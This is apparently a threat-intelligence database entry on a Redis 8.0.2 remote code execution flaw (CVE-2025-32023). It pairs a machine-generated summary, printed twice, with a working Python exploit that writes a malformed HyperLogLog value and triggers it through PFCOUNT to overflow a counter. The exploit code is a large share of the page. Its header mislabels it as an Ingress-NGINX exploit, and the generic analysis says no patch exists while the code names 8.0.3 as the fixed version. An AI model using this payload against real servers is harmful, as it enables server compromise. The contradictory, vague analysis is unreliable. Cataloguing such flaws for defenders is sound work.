Redis 8.0.2 - RCE
Redis 8.0.2 - RCE
AI Analysis
Technical Summary
The Redis 8.0.2 remote code execution vulnerability represents a critical security flaw that allows attackers to execute arbitrary code on vulnerable Redis servers remotely. Redis is a popular open-source in-memory data structure store used for caching, session management, and message brokering in numerous applications worldwide. The vulnerability does not require authentication or user interaction, making it highly exploitable. The exploit leverages weaknesses in Redis 8.0.2's handling of certain commands or configurations, enabling attackers to inject and execute malicious payloads. Publicly available exploit code written in Python facilitates exploitation by lowering the barrier for attackers. While no active exploitation in the wild has been reported, the critical severity and ease of exploitation pose a significant risk. The lack of official patch links suggests that organizations must monitor Redis project updates closely and apply patches or mitigations as soon as they become available. Until patched, organizations should implement network-level restrictions, isolate Redis instances, and monitor for suspicious activity to mitigate risk.
Potential Impact
Successful exploitation of this vulnerability can lead to full system compromise, including unauthorized data access, data manipulation, and disruption of services. Attackers can leverage the RCE to deploy malware, establish persistent backdoors, or pivot to other internal systems, severely impacting confidentiality, integrity, and availability. Given Redis's widespread use in web applications, cloud services, and enterprise environments, the vulnerability could affect a broad range of organizations globally. The critical nature of the flaw means that even a single exploited instance can result in significant operational and reputational damage. Additionally, compromised Redis servers could be used as launch points for further attacks within corporate networks or cloud infrastructures.
Mitigation Recommendations
Organizations should immediately assess their Redis deployments to identify any instances running version 8.0.2. Until an official patch is released, apply strict network segmentation to restrict access to Redis servers, allowing only trusted hosts and internal services. Disable or restrict commands that can be abused for code execution if possible. Employ firewall rules and access control lists to limit exposure to the internet. Monitor Redis logs and network traffic for unusual commands or connections indicative of exploitation attempts. Consider deploying intrusion detection/prevention systems with signatures targeting Redis RCE attempts. Stay informed on Redis project announcements for patches or security advisories and apply updates promptly once available. For cloud environments, leverage provider-specific security controls to isolate Redis instances and enforce least privilege access.
Affected Countries
United States, China, Germany, United Kingdom, India, Japan, South Korea, France, Canada, Australia
Indicators of Compromise
- exploit-code: # Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://redis.io/ # Software Link: https://redis.io/ # Version: Affects :>= 8.0.0, < 8.0.3 # Tested on: Ubuntu 22.04 # CVE: CVE-2025-32023 import redis import sys # --- Configuration --- REDIS_HOST = 'localhost' REDIS_PORT = 6379 REDIS_KEY = 'hll:exp' # HLL encoding type (1 = sparse) HLL_SPARSE = 1 def p8(value): """Convert integer to single byte.""" return bytes([value]) def xzero(size): """ Construct an 'xzero' run for sparse HLL: Creates a run-length encoding entry of zeroes with a specific size. """ if not (1 <= size <= 0x4000): raise ValueError("Invalid xzero size: must be between 1 and 0x4000") size -= 1 return p8(0b01_000000 | (size >> 8)) + p8(size & 0xff) def build_malformed_hll(): """ Construct a malformed HLL payload that overflows internal counters. """ payload = b'HYLL' # Magic header payload += p8(HLL_SPARSE) # Encoding type: sparse payload += p8(0) * 3 # Reserved payload += p8(0) * 8 # Unused (padding) assert len(payload) == 0x10 # Check header size # Append enough xzero runs to cause overflow payload += xzero(0x4000) * 0x20000 # == -0x80000000 when cast to signed int # Add one more run to complete the structure payload += p8(0b11111111) # Runlen=4, regval=0x20 (but malformed) return payload def main(): try: print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...") r = redis.Redis(REDIS_HOST, REDIS_PORT) print("[*] Building malformed HyperLogLog payload...") hll_payload = build_malformed_hll() print(f"[*] Writing malformed HLL to key: {REDIS_KEY}") r.set(REDIS_KEY, hll_payload) print("[*] Triggering HLL merge operation (pfcount)...") r.pfcount(REDIS_KEY, REDIS_KEY) print("[+] Exploit triggered successfully.") except Exception as e: print(f"[!] Exploit failed: {e}") sys.exit(1) if __name__ == "__main__": main()
Redis 8.0.2 - RCE
Description
Redis 8.0.2 - RCE
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Redis 8.0.2 remote code execution vulnerability represents a critical security flaw that allows attackers to execute arbitrary code on vulnerable Redis servers remotely. Redis is a popular open-source in-memory data structure store used for caching, session management, and message brokering in numerous applications worldwide. The vulnerability does not require authentication or user interaction, making it highly exploitable. The exploit leverages weaknesses in Redis 8.0.2's handling of certain commands or configurations, enabling attackers to inject and execute malicious payloads. Publicly available exploit code written in Python facilitates exploitation by lowering the barrier for attackers. While no active exploitation in the wild has been reported, the critical severity and ease of exploitation pose a significant risk. The lack of official patch links suggests that organizations must monitor Redis project updates closely and apply patches or mitigations as soon as they become available. Until patched, organizations should implement network-level restrictions, isolate Redis instances, and monitor for suspicious activity to mitigate risk.
Potential Impact
Successful exploitation of this vulnerability can lead to full system compromise, including unauthorized data access, data manipulation, and disruption of services. Attackers can leverage the RCE to deploy malware, establish persistent backdoors, or pivot to other internal systems, severely impacting confidentiality, integrity, and availability. Given Redis's widespread use in web applications, cloud services, and enterprise environments, the vulnerability could affect a broad range of organizations globally. The critical nature of the flaw means that even a single exploited instance can result in significant operational and reputational damage. Additionally, compromised Redis servers could be used as launch points for further attacks within corporate networks or cloud infrastructures.
Mitigation Recommendations
Organizations should immediately assess their Redis deployments to identify any instances running version 8.0.2. Until an official patch is released, apply strict network segmentation to restrict access to Redis servers, allowing only trusted hosts and internal services. Disable or restrict commands that can be abused for code execution if possible. Employ firewall rules and access control lists to limit exposure to the internet. Monitor Redis logs and network traffic for unusual commands or connections indicative of exploitation attempts. Consider deploying intrusion detection/prevention systems with signatures targeting Redis RCE attempts. Stay informed on Redis project announcements for patches or security advisories and apply updates promptly once available. For cloud environments, leverage provider-specific security controls to isolate Redis instances and enforce least privilege access.
Technical Details
- Edb Id
- 52477
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Redis 8.0.2 - RCE
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://redis.io/ # Software Link: https://redis.io/ # Version: Affects :>= 8.0.0, < 8.0.3 # Tested on: Ubuntu 22.04 # CVE: CVE-2025-32023 import redis import sys # --- Configuration --- REDIS_HOST = 'localhost' REDIS_PORT = 6379 REDIS_KEY = 'hll:exp' # HLL encoding type (1 = sparse) HLL_SPARSE = 1 def p8(value): """Convert i... (1704 more characters)
Threat ID: 69845ddcf9fa50a62f0fd497
Added to database: 2/5/2026, 9:07:40 AM
Last enriched: 2/28/2026, 3:03:12 PM
Last updated: 3/21/2026, 11:27:57 AM
Views: 66
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